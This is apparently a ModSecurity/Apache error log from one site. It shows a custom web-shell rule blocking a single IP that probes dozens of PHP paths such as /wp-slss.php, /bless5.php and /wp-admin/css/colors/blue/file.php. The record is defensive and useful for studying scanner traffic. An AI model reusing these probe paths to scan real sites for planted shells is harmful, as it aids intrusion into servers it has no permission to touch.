[Mon May 04 23:44:43.005126 2026] [:error] [pid 3341:tid 3345] [client 20.29.119.89:64733] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-slss.php"] [unique_id "afi-609o3_LordU0wW6b9AAAAIE"]
[Mon May 04 23:44:43.457913 2026] [:error] [pid 61042:tid 61046] [client 20.29.119.89:62785] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-slss.php"] [unique_id "afi-60nAPPS1fjubA9RwewAAAMA"]
[Mon May 04 23:44:43.841412 2026] [:error] [pid 32471:tid 32495] [client 20.29.119.89:64677] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file30.php"] [unique_id "afi-63mjpb9EYq6AqhKQAAAAARU"]
[Mon May 04 23:44:44.226163 2026] [:error] [pid 32471:tid 32486] [client 20.29.119.89:65308] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file30.php"] [unique_id "afi-7Hmjpb9EYq6AqhKQAQAAAQw"]
[Mon May 04 23:44:44.632963 2026] [:error] [pid 32471:tid 32492] [client 20.29.119.89:64719] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file30.php"] [unique_id "afi-7Hmjpb9EYq6AqhKQAgAAARI"]
[Mon May 04 23:44:45.074126 2026] [:error] [pid 3341:tid 3353] [client 20.29.119.89:64083] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file30.php"] [unique_id "afi-7U9o3_LordU0wW6b-wAAAIk"]
[Mon May 04 23:44:45.497521 2026] [:error] [pid 61042:tid 61069] [client 20.29.119.89:64706] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "afi-7UnAPPS1fjubA9RwfQAAANc"]
[Mon May 04 23:44:45.916991 2026] [:error] [pid 61043:tid 61080] [client 20.29.119.89:64726] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "afi-7Z8-LwtfURjiAbDn_wAAAEU"]
[Mon May 04 23:44:46.306626 2026] [:error] [pid 3341:tid 3348] [client 20.29.119.89:64008] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "afi-7k9o3_LordU0wW6cAAAAAIQ"]
[Mon May 04 23:44:46.750411 2026] [:error] [pid 61042:tid 61053] [client 20.29.119.89:64707] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "afi-7knAPPS1fjubA9RwgAAAAMc"]
[Mon May 04 23:44:47.142456 2026] [:error] [pid 61042:tid 61047] [client 20.29.119.89:65344] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "afi-70nAPPS1fjubA9RwgQAAAME"]
[Mon May 04 23:44:47.561528 2026] [:error] [pid 61044:tid 61111] [client 20.29.119.89:64659] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "afi-70w8w2zZZXI6H1u4fwAAAAk"]
[Mon May 04 23:44:47.964886 2026] [:error] [pid 3341:tid 3346] [client 20.29.119.89:65321] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "afi-709o3_LordU0wW6cAgAAAII"]
[Mon May 04 23:44:48.398639 2026] [:error] [pid 32471:tid 32476] [client 20.29.119.89:65390] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "afi-8Hmjpb9EYq6AqhKQCwAAAQI"]
[Mon May 04 23:44:48.818114 2026] [:error] [pid 61043:tid 61092] [client 20.29.119.89:64671] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-at.php"] [unique_id "afi-8J8-LwtfURjiAbDoAAAAAFE"]
[Mon May 04 23:44:49.404144 2026] [:error] [pid 3341:tid 3357] [client 20.29.119.89:64002] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-at.php"] [unique_id "afi-8U9o3_LordU0wW6cCAAAAI0"]
[Mon May 04 23:44:49.826590 2026] [:error] [pid 61150:tid 61155] [client 20.29.119.89:65405] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-at.php"] [unique_id "afi-8e8QXWVLiwIGVpemyQAAAUI"]
[Mon May 04 23:44:50.219669 2026] [:error] [pid 61043:tid 61075] [client 20.29.119.89:63435] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-at.php"] [unique_id "afi-8p8-LwtfURjiAbDoAgAAAEA"]
[Mon May 04 23:44:50.733596 2026] [:error] [pid 61043:tid 61082] [client 20.29.119.89:65383] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "afi-8p8-LwtfURjiAbDoBAAAAEc"]
[Mon May 04 23:44:51.170726 2026] [:error] [pid 3341:tid 3344] [client 20.29.119.89:63394] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "afi-809o3_LordU0wW6cDQAAAIA"]
[Mon May 04 23:44:51.602569 2026] [:error] [pid 61042:tid 61059] [client 20.29.119.89:62167] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "afi-80nAPPS1fjubA9RwhQAAAM0"]
[Mon May 04 23:44:52.077491 2026] [:error] [pid 32471:tid 32493] [client 20.29.119.89:65316] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "afi-9Hmjpb9EYq6AqhKQDgAAARM"]
[Mon May 04 23:44:52.514877 2026] [:error] [pid 61043:tid 61078] [client 20.29.119.89:65297] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "afi-9J8-LwtfURjiAbDoBQAAAEM"]
[Mon May 04 23:44:52.902870 2026] [:error] [pid 61150:tid 61157] [client 20.29.119.89:64701] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "afi-9O8QXWVLiwIGVpemygAAAUQ"]
[Mon May 04 23:44:53.305531 2026] [:error] [pid 61043:tid 61076] [client 20.29.119.89:64052] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "afi-9Z8-LwtfURjiAbDoBgAAAEE"]
[Mon May 04 23:44:53.731755 2026] [:error] [pid 61042:tid 61062] [client 20.29.119.89:64704] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "afi-9UnAPPS1fjubA9RwigAAANA"]
[Mon May 04 23:45:06.955070 2026] [:error] [pid 61150:tid 61169] [client 20.29.119.89:64674] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "afi_Au8QXWVLiwIGVpem7QAAAVA"]
[Mon May 04 23:45:07.399058 2026] [:error] [pid 61042:tid 61060] [client 20.29.119.89:65398] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "afi_A0nAPPS1fjubA9RwnQAAAM4"]
[Mon May 04 23:45:07.913295 2026] [:error] [pid 3341:tid 3363] [client 20.29.119.89:65353] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "afi_A09o3_LordU0wW6cFAAAAJM"]
[Mon May 04 23:45:08.347492 2026] [:error] [pid 3341:tid 3353] [client 20.29.119.89:65407] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "afi_BE9o3_LordU0wW6cFgAAAIk"]
[Mon May 04 23:45:08.774159 2026] [:error] [pid 3341:tid 3345] [client 20.29.119.89:64050] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wuasr.php"] [unique_id "afi_BE9o3_LordU0wW6cFwAAAIE"]
[Mon May 04 23:45:09.160433 2026] [:error] [pid 61043:tid 61078] [client 20.29.119.89:64030] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wuasr.php"] [unique_id "afi_BZ8-LwtfURjiAbDoGAAAAEM"]
[Mon May 04 23:45:09.690587 2026] [:error] [pid 32471:tid 32479] [client 20.29.119.89:65374] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wuasr.php"] [unique_id "afi_BXmjpb9EYq6AqhKQFAAAAQU"]
[Mon May 04 23:45:10.123880 2026] [:error] [pid 3341:tid 3346] [client 20.29.119.89:63398] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wuasr.php"] [unique_id "afi_Bk9o3_LordU0wW6cGwAAAII"]
[Mon May 04 23:45:10.561787 2026] [:error] [pid 3341:tid 3350] [client 20.29.119.89:62830] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/revealability.php"] [unique_id "afi_Bk9o3_LordU0wW6cHQAAAIY"]
[Mon May 04 23:45:11.006969 2026] [:error] [pid 3341:tid 3368] [client 20.29.119.89:65384] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/revealability.php"] [unique_id "afi_B09o3_LordU0wW6cIAAAAJg"]
[Mon May 04 23:45:11.614074 2026] [:error] [pid 61044:tid 61115] [client 20.29.119.89:65319] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/revealability.php"] [unique_id "afi_B0w8w2zZZXI6H1u4sQAAAA0"]
[Mon May 04 23:45:12.003642 2026] [:error] [pid 61044:tid 61108] [client 20.29.119.89:64088] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/revealability.php"] [unique_id "afi_CEw8w2zZZXI6H1u4sgAAAAY"]
[Mon May 04 23:45:12.429504 2026] [:error] [pid 32471:tid 32477] [client 20.29.119.89:64068] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "afi_CHmjpb9EYq6AqhKQFgAAAQM"]
[Mon May 04 23:45:12.868048 2026] [:error] [pid 3341:tid 3364] [client 20.29.119.89:63397] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "afi_CE9o3_LordU0wW6cJQAAAJQ"]
[Mon May 04 23:45:13.259355 2026] [:error] [pid 3341:tid 3347] [client 20.29.119.89:64675] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "afi_CU9o3_LordU0wW6cJgAAAIM"]
[Mon May 04 23:45:13.638357 2026] [:error] [pid 32471:tid 32489] [client 20.29.119.89:64045] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "afi_CXmjpb9EYq6AqhKQGAAAAQ8"]
[Mon May 04 23:45:14.036633 2026] [:error] [pid 61042:tid 61058] [client 20.29.119.89:64731] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iov.php"] [unique_id "afi_CknAPPS1fjubA9RwoQAAAMw"]
[Mon May 04 23:45:14.424490 2026] [:error] [pid 32471:tid 32497] [client 20.29.119.89:63454] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iov.php"] [unique_id "afi_Cnmjpb9EYq6AqhKQGgAAARc"]
[Mon May 04 23:45:14.805780 2026] [:error] [pid 3341:tid 3357] [client 20.29.119.89:62844] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iov.php"] [unique_id "afi_Ck9o3_LordU0wW6cKgAAAI0"]
[Mon May 04 23:45:15.243205 2026] [:error] [pid 3341:tid 3368] [client 20.29.119.89:64075] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iov.php"] [unique_id "afi_C09o3_LordU0wW6cLAAAAJg"]
[Mon May 04 23:45:15.825562 2026] [:error] [pid 61150:tid 61159] [client 20.29.119.89:62841] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "afi_C-8QXWVLiwIGVpem9gAAAUY"]
[Mon May 04 23:45:16.360281 2026] [:error] [pid 3341:tid 3348] [client 20.29.119.89:64724] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "afi_DE9o3_LordU0wW6cMAAAAIQ"]
[Mon May 04 23:45:16.807480 2026] [:error] [pid 3341:tid 3352] [client 20.29.119.89:64702] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "afi_DE9o3_LordU0wW6cMgAAAIg"]
[Mon May 04 23:45:17.343000 2026] [:error] [pid 32471:tid 32491] [client 20.29.119.89:64028] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "afi_DXmjpb9EYq6AqhKQHAAAARE"]
[Mon May 04 23:45:17.838442 2026] [:error] [pid 32471:tid 32476] [client 20.29.119.89:62147] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ffile.php"] [unique_id "afi_DXmjpb9EYq6AqhKQHQAAAQI"]
[Mon May 04 23:45:18.227991 2026] [:error] [pid 61042:tid 61067] [client 20.29.119.89:62786] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ffile.php"] [unique_id "afi_DknAPPS1fjubA9RwpgAAANU"]
[Mon May 04 23:45:18.715540 2026] [:error] [pid 61042:tid 61050] [client 20.29.119.89:64054] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ffile.php"] [unique_id "afi_DknAPPS1fjubA9RwpwAAAMQ"]
[Mon May 04 23:45:19.166729 2026] [:error] [pid 61150:tid 61153] [client 20.29.119.89:62781] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ffile.php"] [unique_id "afi_D-8QXWVLiwIGVpem-AAAAUA"]
[Mon May 04 23:45:19.603583 2026] [:error] [pid 61044:tid 61112] [client 20.29.119.89:63458] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "afi_D0w8w2zZZXI6H1u4uAAAAAo"]
[Mon May 04 23:45:21.122557 2026] [:error] [pid 61150:tid 61169] [client 20.29.119.89:62202] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "afi_Ee8QXWVLiwIGVpem_QAAAVA"]
